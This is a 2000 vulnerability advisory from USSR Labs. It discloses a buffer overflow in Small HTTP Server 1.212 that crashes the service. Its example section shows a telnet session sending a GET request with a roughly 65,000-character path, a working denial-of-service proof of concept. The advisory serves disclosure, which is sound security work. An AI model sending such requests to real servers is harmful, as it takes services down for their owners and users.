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USSR Advisory Code: USSR-2000047
Release Date:
June 16, 2000
Systems Affected:
Small HTTP Server ver. 1.212 (maybe others)
THE PROBLEM
The Ussr Labs team has recently discovered a buffer overflow memory problem in the Small HTTP Server.
What happens is by preforming an attack with a malformed url information to port 80 it will cause the
proccess containg the services to stop responding.
SPECIAL NOTE: That we take no responsibility for this code it is for educational purposes only.
Example:
The http Server (Port 80) service has a overflow in the GET command
[hellme@die-communitech.net$ telnet example.com 80
Trying example.com...
Connected to example.com.
Escape character is '^]'.
GET /[buffer]
Where [buffer] is aprox. 65000 characters.
and the process containg the service crash
Vendor Status:
Informed!
Vendor Url: http://wwwwin.wplus.net/pp/mrdoors/srv/index.htm
Program Url: http://wwwwin.wplus.net/pp/mrdoors/srv/sethttp.exe
Related Links:
Underground Security Systems Research
http://www.ussrback.com
Greetings:
Eeye, Attrition, w00w00, beavuh, Rhino9, SecurityFocus.com, ADM, HNN, Technotronic and Wiretrip.
Copyright (c) 1999-2000 Underground Security Systems Research.
Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in
any way without express consent of Ussr. If you wish to reprint the whole or any part of this alert in any
other medium excluding electronic medium, please e-mail labs@ussrback.com for permission.
Disclaimer:
The information within this paper may change without notice. Use of this information constitutes acceptance
for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall
the author be liable for any damages whatsoever arising out of or in connection with the use or spread of
this information. Any use of this information is at the user's own risk.
Feedback:
Please send suggestions, updates, and comments to:
Underground Security Systems Research
mail:labs@ussrback.com
http://www.ussrback.com
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